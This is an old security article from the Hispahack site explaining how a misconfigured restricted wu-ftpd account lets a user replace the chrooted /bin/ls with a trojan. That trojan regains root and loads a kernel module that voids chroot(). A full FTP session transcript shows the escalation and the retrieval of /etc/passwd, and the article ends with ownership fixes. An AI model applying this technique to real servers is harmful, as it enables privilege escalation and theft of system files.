RESTRICTING A RESTRICTED FTP
By FLoW
FTP is one of the most usual services offered by a server, anonymous or for users to transfer files.
No, this is not a tongue twister... This article bases in one of the most common configuration errors involving FTP and permissions, not obvious at first sight, but it has got some administrators banging his head against a wall for some days :)
It's not that unusual to find servers that restrict users access to their home directories, because why should any user had access to the whole system if they only need FTP to update their web pages?This article is based in my experience with WU-FTPD, although any FTP server that allows restricted access and uses a /bin/ls located in the user home directory is potentially vulnerable.
Let's get to it...Permissions, ownership and privileges
Whenever we add a new user to the system (using adduser, useradd or so) the new user becomes owner of his home directory (at least in the scripts i've seen), e.g.:
drwx------ 2 user users 1024 Jun 21 11:26 /home/user/That's the way to do it, and what one will expect from a user directory.
The trouble starts when we set up an FTP server that restricts user access to their home directory.
In order to do this we create a directory structure in the user home directory that simulates our system's:/etc: passwd,group - so the FTP server can bind UIDs and GIDs with named, making it more easy for the client.
/bin: ls, compress, gzip... - binaries the FTP server runs.
/lib, /usr/lib: libraries, just in case the binaries need them.
/dev: some operating systems need access to some devices in order to establish network connections.
Users don't need to touch these directories, thus we can restrict their permissions and change ownership to the super user.
Confusions
The problems begin when we do this and we forgot that the user's home directory is owned by the user and thus, he can change any files hanging from it. It's not that hard to find scenarios like this:
drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/ drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/In which the user user can change the bin directory in its home directory (if the directory has contents not owned by the user, we can't delete them, but nothing stops us from renaming it :) ).So what's the point? Let's see how wu.ftpd works internally.
When we request a directory listing through FTP (LIST command), the FTP server EXECUTES /bin/ls, and in the case of a restricted (guest) FTP, the user's home directory /bin/ls.Let's remember that the FTP server runs as root, in order to open a privileged port (21) and to access the user information files in case it is a system using shadow.
When a user accesses the restricted FTP, the server changes its euid (effective uid, the UID it runs under) to the user uid.
The server uses seteuid() instead of setuid() in order to regain super user privileges in case it needs to, impossible to do with setuid().Anyway, the FTP server executes this /bin/ls after chroot()ing to the user home directory. chroot() changes the process root directory to the one we pass as a parameter, that is, after a chroot() the process can only access that part of the file system, and it can't get out of there (theoretically).
If the user is able to modify /bin/ls (that's the scenario we were looking at before), then we are at his feet =) The program that substitutes ls will be run whenever we do a LIST, with euid equal to the user's uid, but uid=0, thus this ls can call setuid(0) and regain super user privileges, although inside the restricted user directory.
Escaping the chroot()
As we have previously said, even if we can execute arbitrary code, we find ourselves inside a chroot()ed file system. A chroot() is inherited from parents to child, so if we spawn a process we will still be limited by the chroot().The process root directory is a property stored with all the process information in a process table kept in memory by the system (to which super user has total access), thus we just need to access this table, modify our root directory and spawn a process that will inherit this new root directory, getting us out of the chroot().
Another way to get out of it (for Linux) can be to load a kernel module in order to capture the chroot() syscall and modify it to not restrict our access to the file system or, given the kernel has access to all the system, to execute arbitrary code for us, Creativity :)
At the end of the article you can find a Linux's module code that modifies the chroot() syscall to not restrict our access to the file system and an ls substitute that loads the module.
The practice
Here is a commented example to clear doubts :)thx:~# ftp ftp> o ilm Connected to ilm. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. Name (ilm:root): user 331 Password required for user. Password: 230 User user logged in. Access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files.user connects to the machine where he's got restricted access. When connecting, theserver executes chroot() to the user's home directory.ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 11:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete. ftp> cd .. 250 CWD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 21:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete.user is restricted to his home directoryftp> ls bin/ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. ---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls 226 Transfer complete. ftp> ren bin bin.old 350 File exists, ready for destination name 250 RNTO command successful. ftp> mkdir bin 257 MKD command successful. ftp> cd bin 250 CWD command successful. ftp> put ls 226 Transfer complete. ftp> put insmod 226 Transfer complete. ftp> put chr.o 226 Transfer complete.modifies the ls binary and uploads other files he needsftp> chmod 555 ls 200 CHMOD command successful. ftp> chmod 555 insmod 200 CHMOD command successful.changes the modes in order to be able to execute the files he's just uploadedftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. UID: 0 EUID: 1002 Cambiando EUID... UID: 0 EUID: 0 Cargando modulo chroot... Modulo cargado. 226 Transfer complete.and runs the modified ls, that changes his euid to 0 and loads the trojan moduleftp> bye 221 Goodbye. thx:~#at this point, the user has loaded the kernel module that captures and voids the chroot() syscallthx:~# ftp ftp> o ilm Connected to ilm. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. Name (ilm:root): user 331 Password required for user. Password: 230 User user logged in. Access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files.at this point, server has chroot()ed to the user's home directory, but it has been captured and voided by our moduleftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 1697 drwxr-xr-x 21 root root 1024 Jun 21 11:57 . drwxr-xr-x 21 root root 1024 Jun 21 11:57 .. -rw-r--r-- 1 root root 118 Apr 21 11:26 .bash_history drwxr-xr-x 2 root bin 2048 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 8 11:26 boot drwxr-xr-x 2 root root 1024 Oct 6 11:26 cdrom drwxr-xr-x 3 root root 21504 Jun 21 15:26 dev drwxr-xr-x 14 root root 3072 Jun 21 15:26 etc drwxr-xr-x 7 root root 1024 Jun 21 19:26 export drwxr-xr-x 7 root root 1024 Jun 21 19:26 home dr-xr-xr-x 5 root root 0 Jun 21 14:26 proc...-rw-r--r-- 1 root root 404717 Mar 12 18:06 vmlinuz 226 Transfer complete.and thus the user has access to the whole file system...ftp> get /etc/passwd 226 Transfer complete....with all its consequences.ftp> bye 221 Goodbye. thx:~#This is a very little example of what can be done, just think that we've just loaded a kernel module, something that's quite threatening of our system integrity...
It's just as easy to create a module that modifies files, changes permissions, etc, but I leave this to you :) (or at least those that don't read the code ;) )Solution
I suppose you found the trivial solution, change user's home directory ownership to super user and restrict the permissions, e.g.:ilm:~$ ls -ula /home/user total 5 drwxr-xr-x 6 root root 1024 Jun 21 11:26 ./ drwxr-xr-x 8 root root 1024 Jun 21 11:26 ../ d--x--x--x 2 root root 1024 Jun 21 11:26 bin/ drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc/ drwxr-xr-x 2 user users 1024 Jun 21 11:26 home/ ilm:~$My advice is to drop wu-ftpd and install ProFTPD, an FTP server designed with security in mind that doesn't execute external binaries.Conclusion
This is not a generic failure of the FTP server, but a not unusual configuration error, if you had everything correctly set up, at least I hope you have enjoyed the article :)Cheers,
FLoWAppendix: References
Module code wu-ftpd Resource Center ProFTPD
(C) 1997-2001 by !Hispahack
Para ver
el web en las mejores condiciones, usa una resolución de 800x600 y Netscape
Navigator